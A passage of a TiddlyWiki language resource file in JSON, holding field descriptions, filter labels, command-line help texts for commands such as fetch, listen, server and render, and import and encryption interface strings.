"text": "If set, the title of a tiddler before which this tiddler should be added to the ordered list of tiddler titles, or at the start of the list if this field is present but empty"
},
"$:/language/Docs/Fields/list-after": {
"title": "$:/language/Docs/Fields/list-after",
"text": "If set, the title of the tiddler after which this tiddler should be added to the ordered list of tiddler titles, or at the end of the list if this field is present but empty"
},
"$:/language/Docs/Fields/modified": {
"title": "$:/language/Docs/Fields/modified",
"text": "The date and time at which a tiddler was last modified"
},
"$:/language/Docs/Fields/modifier": {
"title": "$:/language/Docs/Fields/modifier",
"text": "The tiddler title associated with the person who last modified a tiddler"
},
"$:/language/Docs/Fields/name": {
"title": "$:/language/Docs/Fields/name",
"text": "The human readable name associated with a plugin tiddler"
},
"$:/language/Docs/Fields/plugin-priority": {
"title": "$:/language/Docs/Fields/plugin-priority",
"text": "A numerical value indicating the priority of a plugin tiddler"
},
"$:/language/Docs/Fields/plugin-type": {
"title": "$:/language/Docs/Fields/plugin-type",
"text": "The type of plugin in a plugin tiddler"
},
"$:/language/Docs/Fields/revision": {
"title": "$:/language/Docs/Fields/revision",
"text": "The revision of the tiddler held at the server"
},
"$:/language/Docs/Fields/released": {
"title": "$:/language/Docs/Fields/released",
"text": "Date of a TiddlyWiki release"
},
"$:/language/Docs/Fields/source": {
"title": "$:/language/Docs/Fields/source",
"text": "The source URL associated with a tiddler"
},
"$:/language/Docs/Fields/subtitle": {
"title": "$:/language/Docs/Fields/subtitle",
"text": "The subtitle text for a wizard"
},
"$:/language/Docs/Fields/tags": {
"title": "$:/language/Docs/Fields/tags",
"text": "A list of tags associated with a tiddler"
},
"$:/language/Docs/Fields/text": {
"title": "$:/language/Docs/Fields/text",
"text": "The body text of a tiddler"
},
"$:/language/Docs/Fields/throttle.refresh": {
"title": "$:/language/Docs/Fields/throttle.refresh",
"text": "If present, throttles refreshes of this tiddler"
},
"$:/language/Docs/Fields/title": {
"title": "$:/language/Docs/Fields/title",
"text": "The unique name of a tiddler"
},
"$:/language/Docs/Fields/toc-link": {
"title": "$:/language/Docs/Fields/toc-link",
"text": "Suppresses the tiddler's link in a Table of Contents tree if set to: ''no''"
},
"$:/language/Docs/Fields/type": {
"title": "$:/language/Docs/Fields/type",
"text": "The content type of a tiddler"
},
"$:/language/Docs/Fields/version": {
"title": "$:/language/Docs/Fields/version",
"text": "Version information for a plugin"
},
"$:/language/Docs/Fields/_is_skinny": {
"title": "$:/language/Docs/Fields/_is_skinny",
"text": "If present, indicates that the tiddler text field must be loaded from the server"
},
"$:/language/Filters/AllTiddlers": {
"title": "$:/language/Filters/AllTiddlers",
"text": "All tiddlers except system tiddlers"
},
"$:/language/Filters/RecentSystemTiddlers": {
"title": "$:/language/Filters/RecentSystemTiddlers",
"text": "Recently modified tiddlers, including system tiddlers"
},
"$:/language/Filters/RecentTiddlers": {
"title": "$:/language/Filters/RecentTiddlers",
"text": "Recently modified tiddlers"
},
"$:/language/Filters/AllTags": {
"title": "$:/language/Filters/AllTags",
"text": "All tags except system tags"
},
"$:/language/Filters/Missing": {
"title": "$:/language/Filters/Missing",
"text": "Missing tiddlers"
},
"$:/language/Filters/Drafts": {
"title": "$:/language/Filters/Drafts",
"text": "Draft tiddlers"
},
"$:/language/Filters/Orphans": {
"title": "$:/language/Filters/Orphans",
"text": "Orphan tiddlers"
},
"$:/language/Filters/SystemTiddlers": {
"title": "$:/language/Filters/SystemTiddlers",
"text": "System tiddlers"
},
"$:/language/Filters/ShadowTiddlers": {
"title": "$:/language/Filters/ShadowTiddlers",
"text": "Shadow tiddlers"
},
"$:/language/Filters/OverriddenShadowTiddlers": {
"title": "$:/language/Filters/OverriddenShadowTiddlers",
"text": "Overridden shadow tiddlers"
},
"$:/language/Filters/SessionTiddlers": {
"title": "$:/language/Filters/SessionTiddlers",
"text": "Tiddlers modified since the wiki was loaded"
},
"$:/language/Filters/SystemTags": {
"title": "$:/language/Filters/SystemTags",
"text": "System tags"
},
"$:/language/Filters/StoryList": {
"title": "$:/language/Filters/StoryList",
"text": "Tiddlers in the story river, excluding <$text text=\"$:/AdvancedSearch\"/>"
},
"$:/language/Filters/TypedTiddlers": {
"title": "$:/language/Filters/TypedTiddlers",
"text": "Non wiki-text tiddlers"
},
"GettingStarted": {
"title": "GettingStarted",
"text": "\\define lingo-base() $:/language/ControlPanel/Basics/\nWelcome to ~TiddlyWiki and the ~TiddlyWiki community\n\nBefore you start storing important information in ~TiddlyWiki it is vital to make sure that you can reliably save changes. See https://tiddlywiki.com/#GettingStarted for details\n\n!! Set up this ~TiddlyWiki\n\n<div class=\"tc-control-panel\">\n\n|<$link to=\"$:/SiteTitle\"><<lingo Title/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/SiteSubtitle\"><<lingo Subtitle/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteSubtitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/DefaultTiddlers\"><<lingo DefaultTiddlers/Prompt>></$link> |<<lingo DefaultTiddlers/TopHint>><br> <$edit tag=\"textarea\" tiddler=\"$:/DefaultTiddlers\"/><br>//<<lingo DefaultTiddlers/BottomHint>>// |\n</div>\n\nSee the [[control panel|$:/ControlPanel]] for more options.\n"
},
"$:/language/Help/build": {
"title": "$:/language/Help/build",
"description": "Automatically run configured commands",
"text": "Build the specified build targets for the current wiki. If no build targets are specified then all available targets will be built.\n\n```\n--build <target> [<target> ...]\n```\n\nBuild targets are defined in the `tiddlywiki.info` file of a wiki folder.\n\n"
},
"$:/language/Help/clearpassword": {
"title": "$:/language/Help/clearpassword",
"description": "Clear a password for subsequent crypto operations",
"text": "Clear the password for subsequent crypto operations\n\n```\n--clearpassword\n```\n"
},
"$:/language/Help/default": {
"title": "$:/language/Help/default",
"text": "\\define commandTitle()\n$:/language/Help/$(command)$\n\\end\n```\nusage: tiddlywiki [<wikifolder>] [--<command> [<args>...]...]\n```\n\nAvailable commands:\n\n<ul>\n<$list filter=\"[commands[]sort[title]]\" variable=\"command\">\n<li><$link to=<<commandTitle>>><$macrocall $name=\"command\" $type=\"text/plain\" $output=\"text/plain\"/></$link>: <$transclude tiddler=<<commandTitle>> field=\"description\"/></li>\n</$list>\n</ul>\n\nTo get detailed help on a command:\n\n```\ntiddlywiki --help <command>\n```\n"
},
"$:/language/Help/deletetiddlers": {
"title": "$:/language/Help/deletetiddlers",
"description": "Deletes a group of tiddlers",
"text": "<<.from-version \"5.1.20\">> Deletes a group of tiddlers identified by a filter.\n\n```\n--deletetiddlers <filter>\n```\n"
},
"$:/language/Help/editions": {
"title": "$:/language/Help/editions",
"description": "Lists the available editions of TiddlyWiki",
"text": "Lists the names and descriptions of the available editions. You can create a new wiki of a specified edition with the `--init` command.\n\n```\n--editions\n```\n"
},
"$:/language/Help/fetch": {
"title": "$:/language/Help/fetch",
"description": "Fetch tiddlers from wiki by URL",
"text": "Fetch one or more files over HTTP/HTTPS, and import the tiddlers matching a filter, optionally transforming the incoming titles.\n\n```\n--fetch file <url> <import-filter> <transform-filter>\n--fetch files <url-filter> <import-filter> <transform-filter>\n--fetch raw-file <url> <transform-filter>\n--fetch raw-files <url-filter> <transform-filter>\n```\n\nThe \"file\" and \"files\" variants fetch the specified files and attempt to import the tiddlers within them (the same processing as if the files were dragged into the browser window). The \"raw-file\" and \"raw-files\" variants fetch the specified files and then store the raw file data in tiddlers, without applying the import logic.\n\nWith the \"file\" and \"raw-file\" variants only a single file is fetched and the first parameter is the URL of the file to read.\n\nWith the \"files\" and \"raw-files\" variants, multiple files are fetched and the first parameter is a filter yielding a list of URLs of the files to read. For example, given a set of tiddlers tagged \"remote-server\" that have a field \"url\" the filter `[tag[remote-server]get[url]]` will retrieve all the available URLs.\n\nFor the \"file\" and \"files\" variants, the `<import-filter>` parameter specifies a filter determining which tiddlers are imported. It defaults to `[all[tiddlers]]` if not provided.\n\nFor all variants, the `<transform-filter>` parameter specifies an optional filter that transforms the titles of the imported tiddlers. For example, `[addprefix[$:/myimports/]]` would add the prefix `$:/myimports/` to each title.\n\nPreceding the `--fetch` command with `--verbose` will output progress information during the import.\n\nNote that TiddlyWiki will not fetch an older version of an already loaded plugin.\n\nThe following example retrieves all the non-system tiddlers from https://tiddlywiki.com and saves them to a JSON file:\n\n```\ntiddlywiki --verbose --fetch file \"https://tiddlywiki.com/\" \"[!is[system]]\" \"\" --rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[!is[system]]\"\n```\n\nThe following example retrieves the \"favicon\" file from tiddlywiki.com and saves it in a file called \"output.ico\". Note that the intermediate tiddler \"Icon Tiddler\" is quoted in the \"--fetch\" command because it is being used as a transformation filter to replace the default title, while there are no quotes for the \"--savetiddler\" command because it is being used directly as a title.\n\n```\ntiddlywiki --verbose --fetch raw-file \"https://tiddlywiki.com/favicon.ico\" \"[[Icon Tiddler]]\" --savetiddler \"Icon Tiddler\" output.ico\n```\n\n"
},
"$:/language/Help/help": {
"title": "$:/language/Help/help",
"description": "Display help for TiddlyWiki commands",
"text": "Displays help text for a command:\n\n```\n--help [<command>]\n```\n\nIf the command name is omitted then a list of available commands is displayed.\n"
},
"$:/language/Help/import": {
"title": "$:/language/Help/import",
"description": "Import tiddlers from a file",
"text": "Import tiddlers from TiddlyWiki (`.html`), `.tiddler`, `.tid`, `.json` or other local files. The deserializer must be explicitly specified, unlike the `load` command which infers the deserializer from the file extension.\n\n```\n--import <filepath> <deserializer> [<title>] [<encoding>]\n```\n\nThe deserializers in the core include:\n\n* application/javascript\n* application/json\n* application/x-tiddler\n* application/x-tiddler-html-div\n* application/x-tiddlers\n* text/html\n* text/plain\n\nThe title of the imported tiddler defaults to the filename.\n\nThe encoding defaults to \"utf8\", but can be \"base64\" for importing binary files.\n\nNote that TiddlyWiki will not import an older version of an already loaded plugin.\n"
},
"$:/language/Help/init": {
"title": "$:/language/Help/init",
"description": "Initialise a new wiki folder",
"text": "Initialise an empty [[WikiFolder|WikiFolders]] with a copy of the specified edition.\n\n```\n--init <edition> [<edition> ...]\n```\n\nFor example:\n\n```\ntiddlywiki ./MyWikiFolder --init empty\n```\n\nNote:\n\n* The wiki folder directory will be created if necessary\n* The \"edition\" defaults to ''empty''\n* The init command will fail if the wiki folder is not empty\n* The init command removes any `includeWikis` definitions in the edition's `tiddlywiki.info` file\n* When multiple editions are specified, editions initialised later will overwrite any files shared with earlier editions (so, the final `tiddlywiki.info` file will be copied from the last edition)\n* `--editions` returns a list of available editions\n"
},
"$:/language/Help/listen": {
"title": "$:/language/Help/listen",
"description": "Provides an HTTP server interface to TiddlyWiki",
"text": "Serves a wiki over HTTP.\n\nThe listen command uses NamedCommandParameters:\n\n```\n--listen [<name>=<value>]...\n```\n\nAll parameters are optional with safe defaults, and can be specified in any order. The recognised parameters are:\n\n* ''host'' - optional hostname to serve from (defaults to \"127.0.0.1\" aka \"localhost\")\n* ''path-prefix'' - optional prefix for paths\n* ''port'' - port number on which to listen; non-numeric values are interpreted as a system environment variable from which the port number is extracted (defaults to \"8080\")\n* ''credentials'' - pathname of credentials CSV file (relative to wiki folder)\n* ''anon-username'' - the username for signing edits for anonymous users\n* ''username'' - optional username for basic authentication\n* ''password'' - optional password for basic authentication\n* ''authenticated-user-header'' - optional name of header to be used for trusted authentication\n* ''readers'' - comma separated list of principals allowed to read from this wiki\n* ''writers'' - comma separated list of principals allowed to write to this wiki\n* ''csrf-disable'' - set to \"yes\" to disable CSRF checks (defaults to \"no\")\n* ''root-tiddler'' - the tiddler to serve at the root (defaults to \"$:/core/save/all\")\n* ''root-render-type'' - the content type to which the root tiddler should be rendered (defaults to \"text/plain\")\n* ''root-serve-type'' - the content type with which the root tiddler should be served (defaults to \"text/html\")\n* ''tls-cert'' - pathname of TLS certificate file (relative to wiki folder)\n* ''tls-key'' - pathname of TLS key file (relative to wiki folder)\n* ''debug-level'' - optional debug level; set to \"debug\" to view request details (defaults to \"none\")\n* ''gzip'' - set to \"yes\" to enable gzip compression for some http endpoints (defaults to \"no\")\n\nFor information on opening up your instance to the entire local network, and possible security concerns, see the WebServer tiddler at TiddlyWiki.com.\n\n"
},
"$:/language/Help/load": {
"title": "$:/language/Help/load",
"description": "Load tiddlers from a file",
"text": "Load tiddlers from TiddlyWiki (`.html`), `.tiddler`, `.tid`, `.json` or other local files. The processing applied to incoming files is determined by the file extension. Use the alternative `import` command if you need to specify the deserializer and encoding explicitly.\n\n```\n--load <filepath> [noerror]\n--load <dirpath> [noerror]\n```\n\nBy default, the load command raises an error if no tiddlers are found. The error can be suppressed by providing the optional \"noerror\" parameter.\n\nTo load tiddlers from an encrypted TiddlyWiki file you should first specify the password with the PasswordCommand. For example:\n\n```\ntiddlywiki ./MyWiki --password pa55w0rd --load my_encrypted_wiki.html\n```\n\nNote that TiddlyWiki will not load an older version of an already loaded plugin.\n"
},
"$:/language/Help/makelibrary": {
"title": "$:/language/Help/makelibrary",
"description": "Construct library plugin required by upgrade process",
"text": "Constructs the `$:/UpgradeLibrary` tiddler for the upgrade process.\n\nThe upgrade library is formatted as an ordinary plugin tiddler with the plugin type `library`. It contains a copy of each of the plugins, themes and language packs available within the TiddlyWiki5 repository.\n\nThis command is intended for internal use; it is only relevant to users constructing a custom upgrade procedure.\n\n```\n--makelibrary <title>\n```\n\nThe title argument defaults to `$:/UpgradeLibrary`.\n"
},
"$:/language/Help/notfound": {
"title": "$:/language/Help/notfound",
"text": "No such help item"
},
"$:/language/Help/output": {
"title": "$:/language/Help/output",
"description": "Set the base output directory for subsequent commands",
"text": "Sets the base output directory for subsequent commands. The default output directory is the `output` subdirectory of the edition directory.\n\n```\n--output <pathname>\n```\n\nIf the specified pathname is relative then it is resolved relative to the current working directory. For example `--output .` sets the output directory to the current working directory.\n\n"
},
"$:/language/Help/password": {
"title": "$:/language/Help/password",
"description": "Set a password for subsequent crypto operations",
"text": "Set a password for subsequent crypto operations\n\n```\n--password <password>\n```\n\n''Note'': This should not be used for serving TiddlyWiki with password protection. Instead, see the password option under the [[ServerCommand]].\n"
},
"$:/language/Help/render": {
"title": "$:/language/Help/render",
"description": "Renders individual tiddlers to files",
"text": "Render individual tiddlers identified by a filter and save the results to the specified files.\n\nOptionally, the title of a template tiddler can be specified. In this case, instead of directly rendering each tiddler, the template tiddler is rendered with the \"currentTiddler\" variable set to the title of the tiddler that is being rendered.\n\nA name and value for an additional variable may optionally also be specified.\n\n```\n--render <tiddler-filter> [<filename-filter>] [<render-type>] [<template>] [<name>] [<value>]\n```\n\n* ''tiddler-filter'': A filter identifying the tiddler(s) to be rendered\n* ''filename-filter'': Optional filter transforming tiddler titles into pathnames. If omitted, defaults to `[is[tiddler]addsuffix[.html]]`, which uses the unchanged tiddler title as the filename\n* ''render-type'': Optional render type: `text/html` (the default) returns the full HTML text and `text/plain` just returns the text content (ie it ignores HTML tags and other unprintable material)\n* ''template'': Optional template through which each tiddler is rendered\n* ''name'': Name of optional variable\n* ''value'': Value of optional variable\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nNotes:\n\n* The output directory is not cleared of any existing files\n* Any missing directories in the path to the filename are automatically created.\n* When referring to a tiddler with spaces in its title, take care to use both the quotes required by your shell and also TiddlyWiki's double square brackets : `--render \"[[Motovun Jack.jpg]]\"`\n* The filename filter is evaluated with the selected items being set to the title of the tiddler currently being rendered, allowing the title to be used as the basis for computing the filename. For example `[encodeuricomponent[]addprefix[static/]]` applies URI encoding to each title, and then adds the prefix `static/`\n* The `--render` command is a more flexible replacement for both the `--rendertiddler` and `--rendertiddlers` commands, which are deprecated\n\nExamples:\n\n* `--render \"[!is[system]]\" \"[encodeuricomponent[]addprefix[tiddlers/]addsuffix[.html]]\"` -- renders all non-system tiddlers as files in the subdirectory \"tiddlers\" with URL-encoded titles and the extension HTML\n\n"
},
"$:/language/Help/rendertiddler": {
"title": "$:/language/Help/rendertiddler",
"description": "Render an individual tiddler as a specified ContentType",
"text": "(Note: The `--rendertiddler` command is deprecated in favour of the new, more flexible `--render` command)\n\nRender an individual tiddler as a specified ContentType, defaulting to `text/html` and save it to the specified filename.\n\nOptionally the title of a template tiddler can be specified, in which case the template tiddler is rendered with the \"currentTiddler\" variable set to the tiddler that is being rendered (the first parameter value).\n\nA name and value for an additional variable may optionally also be specified.\n\n```\n--rendertiddler <title> <filename> [<type>] [<template>] [<name>] [<value>]\n```\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny missing directories in the path to the filename are automatically created.\n\nFor example, the following command saves all tiddlers matching the filter `[tag[done]]` to a JSON file titled `output.json` by employing the core template `$:/core/templates/exporters/JsonFile`.\n\n```\n--rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[tag[done]]\"\n```\n"
},
"$:/language/Help/rendertiddlers": {
"title": "$:/language/Help/rendertiddlers",
"description": "Render tiddlers matching a filter to a specified ContentType",
"text": "(Note: The `--rendertiddlers` command is deprecated in favour of the new, more flexible `--render` command)\n\nRender a set of tiddlers matching a filter to separate files of a specified ContentType (defaults to `text/html`) and extension (defaults to `.html`).\n\n```\n--rendertiddlers <filter> <template> <pathname> [<type>] [<extension>] [\"noclean\"]\n```\n\nFor example:\n\n```\n--rendertiddlers [!is[system]] $:/core/templates/static.tiddler.html ./static text/plain\n```\n\nBy default, the pathname is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny files in the target directory are deleted unless the ''noclean'' flag is specified. The target directory is recursively created if it is missing.\n"
},
"$:/language/Help/save": {
"title": "$:/language/Help/save",
"description": "Saves individual raw tiddlers to files",
"text": "Saves individual tiddlers identified by a filter in their raw text or binary format to the specified files.\n\n```\n--save <tiddler-filter> <filename-filter>\n```\n\n* ''tiddler-filter'': A filter identifying the tiddler(s) to be saved\n* ''filename-filter'': Optional filter transforming tiddler titles into pathnames. If omitted, defaults to `[is[tiddler]]`, which uses the unchanged tiddler title as the filename\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nNotes:\n\n* The output directory is not cleared of any existing files\n* Any missing directories in the path to the filename are automatically created.\n* When saving a tiddler with spaces in its title, take care to use both the quotes required by your shell and also TiddlyWiki's double square brackets : `--save \"[[Motovun Jack.jpg]]\"`\n* The filename filter is evaluated with the selected items being set to the title of the tiddler currently being saved, allowing the title to be used as the basis for computing the filename. For example `[encodeuricomponent[]addprefix[static/]]` applies URI encoding to each title, and then adds the prefix `static/`\n* The `--save` command is a more flexible replacement for both the `--savetiddler` and `--savetiddlers` commands, which are deprecated\n\nExamples:\n\n* `--save \"[!is[system]is[image]]\" \"[encodeuricomponent[]addprefix[tiddlers/]]\"` -- saves all non-system image tiddlers as files in the subdirectory \"tiddlers\" with URL-encoded titles\n"
},
"$:/language/Help/savetiddler": {
"title": "$:/language/Help/savetiddler",
"description": "Saves a raw tiddler to a file",
"text": "(Note: The `--savetiddler` command is deprecated in favour of the new, more flexible `--save` command)\n\nSaves an individual tiddler in its raw text or binary format to the specified filename.\n\n```\n--savetiddler <title> <filename>\n```\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny missing directories in the path to the filename are automatically created.\n"
},
"$:/language/Help/savetiddlers": {
"title": "$:/language/Help/savetiddlers",
"description": "Saves a group of raw tiddlers to a directory",
"text": "(Note: The `--savetiddlers` command is deprecated in favour of the new, more flexible `--save` command)\n\nSaves a group of tiddlers in their raw text or binary format to the specified directory.\n\n```\n--savetiddlers <filter> <pathname> [\"noclean\"]\n```\n\nBy default, the pathname is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nThe output directory is cleared of existing files before saving the specified files. The deletion can be disabled by specifying the ''noclean'' flag.\n\nAny missing directories in the pathname are automatically created.\n"
},
"$:/language/Help/savewikifolder": {
"title": "$:/language/Help/savewikifolder",
"description": "Saves a wiki to a new wiki folder",
"text": "<<.from-version \"5.1.20\">> Saves the current wiki as a wiki folder, including tiddlers, plugins and configuration:\n\n```\n--savewikifolder <wikifolderpath> [<filter>]\n```\n\n* The target wiki folder must be empty or non-existent\n* The filter specifies which tiddlers should be included. It is optional, defaulting to `[all[tiddlers]]`\n* Plugins from the official plugin library are replaced with references to those plugins in the `tiddlywiki.info` file\n* Custom plugins are unpacked into their own folder\n\nA common usage is to convert a TiddlyWiki HTML file into a wiki folder:\n\n```\ntiddlywiki --load ./mywiki.html --savewikifolder ./mywikifolder\n```\n"
},
"$:/language/Help/server": {
"title": "$:/language/Help/server",
"description": "Provides an HTTP server interface to TiddlyWiki (deprecated in favour of the new listen command)",
"text": "Legacy command to serve a wiki over HTTP.\n\n```\n--server <port> <root-tiddler> <root-render-type> <root-serve-type> <username> <password> <host> <path-prefix> <debug-level>\n```\n\nThe parameters are:\n\n* ''port'' - port number on which to listen; non-numeric values are interpreted as a system environment variable from which the port number is extracted (defaults to \"8080\")\n* ''root-tiddler'' - the tiddler to serve at the root (defaults to \"$:/core/save/all\")\n* ''root-render-type'' - the content type to which the root tiddler should be rendered (defaults to \"text/plain\")\n* ''root-serve-type'' - the content type with which the root tiddler should be served (defaults to \"text/html\")\n* ''username'' - the default username for signing edits\n* ''password'' - optional password for basic authentication\n* ''host'' - optional hostname to serve from (defaults to \"127.0.0.1\" aka \"localhost\")\n* ''path-prefix'' - optional prefix for paths\n* ''debug-level'' - optional debug level; set to \"debug\" to view request details (defaults to \"none\")\n\nIf the password parameter is specified then the browser will prompt the user for the username and password. Note that the password is transmitted in plain text so this implementation should only be used on a trusted network or over HTTPS.\n\nFor example:\n\n```\n--server 8080 $:/core/save/all text/plain text/html MyUserName passw0rd\n```\n\nThe username and password can be specified as empty strings if you need to set the hostname or pathprefix and don't want to require a password.\n\n\n```\n--server 8080 $:/core/save/all text/plain text/html \"\" \"\" 192.168.0.245\n```\n\nUsing an address like this exposes your system to the local network. For information on opening up your instance to the entire local network, and possible security concerns, see the WebServer tiddler at TiddlyWiki.com.\n\nTo run multiple TiddlyWiki servers at the same time you'll need to put each one on a different port. It can be useful to use an environment variable to pass the port number to the Node.js process. This example references an environment variable called \"MY_PORT_NUMBER\":\n\n```\n--server MY_PORT_NUMBER $:/core/save/all text/plain text/html MyUserName passw0rd\n```\n"
},
"$:/language/Help/setfield": {
"title": "$:/language/Help/setfield",
"description": "Prepares external tiddlers for use",
"text": "//Note that this command is experimental and may change or be replaced before being finalised//\n\nSets the specified field of a group of tiddlers to the result of wikifying a template tiddler with the `currentTiddler` variable set to the tiddler.\n\n```\n--setfield <filter> <fieldname> <templatetitle> <rendertype>\n```\n\nThe parameters are:\n\n* ''filter'' - filter identifying the tiddlers to be affected\n* ''fieldname'' - the field to modify (defaults to \"text\")\n* ''templatetitle'' - the tiddler to wikify into the specified field. If blank or missing then the specified field is deleted\n* ''rendertype'' - the text type to render (defaults to \"text/plain\"; \"text/html\" can be used to include HTML tags)\n"
},
"$:/language/Help/unpackplugin": {
"title": "$:/language/Help/unpackplugin",
"description": "Unpack the payload tiddlers from a plugin",
"text": "Extract the payload tiddlers from a plugin, creating them as ordinary tiddlers:\n\n```\n--unpackplugin <title>\n```\n"
},
"$:/language/Help/verbose": {
"title": "$:/language/Help/verbose",
"description": "Triggers verbose output mode",
"text": "Triggers verbose output, useful for debugging\n\n```\n--verbose\n```\n"
},
"$:/language/Help/version": {
"title": "$:/language/Help/version",
"description": "Displays the version number of TiddlyWiki",
"text": "Displays the version number of TiddlyWiki.\n\n```\n--version\n```\n"
},
"$:/language/Import/Imported/Hint": {
"title": "$:/language/Import/Imported/Hint",
"text": "The following tiddlers were imported:"
},
"$:/language/Import/Listing/Cancel/Caption": {
"title": "$:/language/Import/Listing/Cancel/Caption",
"text": "Cancel"
},
"$:/language/Import/Listing/Hint": {
"title": "$:/language/Import/Listing/Hint",
"text": "These tiddlers are ready to import:"
},
"$:/language/Import/Listing/Import/Caption": {
"title": "$:/language/Import/Listing/Import/Caption",
"text": "Import"
},
"$:/language/Import/Listing/Select/Caption": {
"title": "$:/language/Import/Listing/Select/Caption",
"text": "Select"
},
"$:/language/Import/Listing/Status/Caption": {
"title": "$:/language/Import/Listing/Status/Caption",
"text": "Status"
},
"$:/language/Import/Listing/Title/Caption": {
"title": "$:/language/Import/Listing/Title/Caption",
"text": "Title"
},
"$:/language/Import/Listing/Preview": {
"title": "$:/language/Import/Listing/Preview",
"text": "Preview:"
},
"$:/language/Import/Listing/Preview/Text": {
"title": "$:/language/Import/Listing/Preview/Text",
"text": "Text"
},
"$:/language/Import/Listing/Preview/TextRaw": {
"title": "$:/language/Import/Listing/Preview/TextRaw",
"text": "Text (Raw)"
},
"$:/language/Import/Listing/Preview/Fields": {
"title": "$:/language/Import/Listing/Preview/Fields",
"text": "Fields"
},
"$:/language/Import/Listing/Preview/Diff": {
"title": "$:/language/Import/Listing/Preview/Diff",
"text": "Diff"
},
"$:/language/Import/Listing/Preview/DiffFields": {
"title": "$:/language/Import/Listing/Preview/DiffFields",
"text": "Diff (Fields)"
},
"$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible": {
"title": "$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible",
"text": "Blocked incompatible or obsolete plugin"
},
"$:/language/Import/Upgrader/Plugins/Suppressed/Version": {
"title": "$:/language/Import/Upgrader/Plugins/Suppressed/Version",
"text": "Blocked plugin (due to incoming <<incoming>> being older than existing <<existing>>)"
},
"$:/language/Import/Upgrader/Plugins/Upgraded": {
"title": "$:/language/Import/Upgrader/Plugins/Upgraded",
"text": "Upgraded plugin from <<incoming>> to <<upgraded>>"
},
"$:/language/Import/Upgrader/State/Suppressed": {
"title": "$:/language/Import/Upgrader/State/Suppressed",
"text": "Blocked temporary state tiddler"
},
"$:/language/Import/Upgrader/System/Suppressed": {
"title": "$:/language/Import/Upgrader/System/Suppressed",
"text": "Blocked system tiddler"
},
"$:/language/Import/Upgrader/System/Warning": {
"title": "$:/language/Import/Upgrader/System/Warning",
"text": "Core module tiddler"
},
"$:/language/Import/Upgrader/System/Alert": {
"title": "$:/language/Import/Upgrader/System/Alert",
"text": "You are about to import a tiddler that will overwrite a core module tiddler. This is not recommended as it may make the system unstable"
},
"$:/language/Import/Upgrader/ThemeTweaks/Created": {
"title": "$:/language/Import/Upgrader/ThemeTweaks/Created",
"text": "Migrated theme tweak from <$text text=<<from>>/>"
},
"$:/language/AboveStory/ClassicPlugin/Warning": {
"title": "$:/language/AboveStory/ClassicPlugin/Warning",
"text": "It looks like you are trying to load a plugin designed for ~TiddlyWiki Classic. Please note that [[these plugins do not work with TiddlyWiki version 5.x.x|https://tiddlywiki.com/#TiddlyWikiClassic]]. ~TiddlyWiki Classic plugins detected:"
},
"$:/language/BinaryWarning/Prompt": {
"title": "$:/language/BinaryWarning/Prompt",
"text": "This tiddler contains binary data"
},
"$:/language/ClassicWarning/Hint": {
"title": "$:/language/ClassicWarning/Hint",
"text": "This tiddler is written in TiddlyWiki Classic wiki text format, which is not fully compatible with TiddlyWiki version 5. See https://tiddlywiki.com/static/Upgrading.html for more details."
},
"$:/language/ClassicWarning/Upgrade/Caption": {
"title": "$:/language/ClassicWarning/Upgrade/Caption",
"text": "upgrade"
},
"$:/language/CloseAll/Button": {
"title": "$:/language/CloseAll/Button",
"text": "close all"
},
"$:/language/ColourPicker/Recent": {
"title": "$:/language/ColourPicker/Recent",
"text": "Recent:"
},
"$:/language/ConfirmCancelTiddler": {
"title": "$:/language/ConfirmCancelTiddler",
"text": "Do you wish to discard changes to the tiddler \"<$text text=<<title>>/>\"?"
},
"$:/language/ConfirmDeleteTiddler": {
"title": "$:/language/ConfirmDeleteTiddler",
"text": "Do you wish to delete the tiddler \"<$text text=<<title>>/>\"?"
},
"$:/language/ConfirmOverwriteTiddler": {
"title": "$:/language/ConfirmOverwriteTiddler",
"text": "Do you wish to overwrite the tiddler \"<$text text=<<title>>/>\"?"
},
"$:/language/ConfirmEditShadowTiddler": {
"title": "$:/language/ConfirmEditShadowTiddler",
"text": "You are about to edit a ShadowTiddler. Any changes will override the default system making future upgrades non-trivial. Are you sure you want to edit \"<$text text=<<title>>/>\"?"
},
"$:/language/Count": {
"title": "$:/language/Count",
"text": "count"
},
"$:/language/DefaultNewTiddlerTitle": {
"title": "$:/language/DefaultNewTiddlerTitle",
"text": "New Tiddler"
},
"$:/language/Diffs/CountMessage": {
"title": "$:/language/Diffs/CountMessage",
"text": "<<diff-count>> differences"
},
"$:/language/DropMessage": {
"title": "$:/language/DropMessage",
"text": "Drop here (or use the 'Escape' key to cancel)"
},
"$:/language/Encryption/Cancel": {
"title": "$:/language/Encryption/Cancel",
"text": "Cancel"
},
"$:/language/Encryption/ConfirmClearPassword": {
"title": "$:/language/Encryption/ConfirmClearPassword",
"text": "Do you wish to clear the password? This will remove the encryption applied when saving this wiki"
},
"$:/language/Encryption/PromptSetPassword": {
"title": "$:/language/Encryption/PromptSetPassword",
"text": "Set a new password for this TiddlyWiki"
},
"$:/language/Encryption/Username": {
"title": "$:/language/Encryption/Username",
"text": "Username"
},
"$:/language/Encryption/Password": {
"title": "$:/language/Encryption/Password",
"text": "Password"
},
"$:/language/Encryption/RepeatPassword": {
"title": "$:/language/Encryption/RepeatPassword",
"text": "Repeat password"
},
"$:/language/Encryption/PasswordNoMatch": {
"title": "$:/language/Encryption/PasswordNoMatch",
"text": "Passwords do not match"
},
"$:/language/Encryption/SetPassword": {
"title": "$:/language/Encryption/SetPassword",
"text": "Set password"
},
"$:/language/Error/Caption": {
"title": "$:/language/Error/Caption",
"text": "Error"
},
"$:/language/Error/EditConflict": {
